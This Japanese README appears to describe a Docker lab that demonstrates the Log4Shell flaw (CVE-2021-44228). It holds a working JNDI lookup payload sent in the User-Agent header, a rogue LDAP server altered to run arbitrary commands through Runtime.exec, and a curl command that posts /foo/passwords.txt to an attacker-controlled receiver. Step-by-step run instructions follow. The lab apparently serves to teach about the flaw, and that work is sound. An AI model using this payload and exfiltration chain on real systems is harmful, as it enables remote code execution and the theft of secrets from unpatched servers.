
CVE-2021-44228 を利用して、脆弱なサーバーから攻撃者が制御する Web サービスへデータを転送するための簡単なデモです。 関連するすべてのコンポーネントは Docker 経由で実行されます。
これは被害者として動作する標準的な Java サーバーです。実行環境:
8u111この構成では、このサーバーは VULNERABLE です。
補足情報:
/logging エンドポイント (GET) は Log4J を使用してユーザーエージェントをログに記録します/foo/passwords.txt が存在します (攻撃者のターゲット)passwords.txt の内容:
my secret
これは攻撃者のデータコレクターとして動作する標準的な Java サーバーです。実行環境:
17補足情報:
receiver エンドポイント (POST) はリクエストボディをログに記録しますこれは rogue-jndi を利用した LDAP サーバーです。
-c フラグで渡されたコマンドが実行されるように、ExportJava クラスが変更されています。
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
脆弱なサーバーからリクエストを受けると、インスタンス化されたときに次のコマンドを実行するクラスで応答します:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
これにより、/foo/passwords.txt の内容が、悪意のあるレシーバーの準備済みエンドポイントに投稿されます。
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt ファイルの内容が表示されるはずです。./stop.sh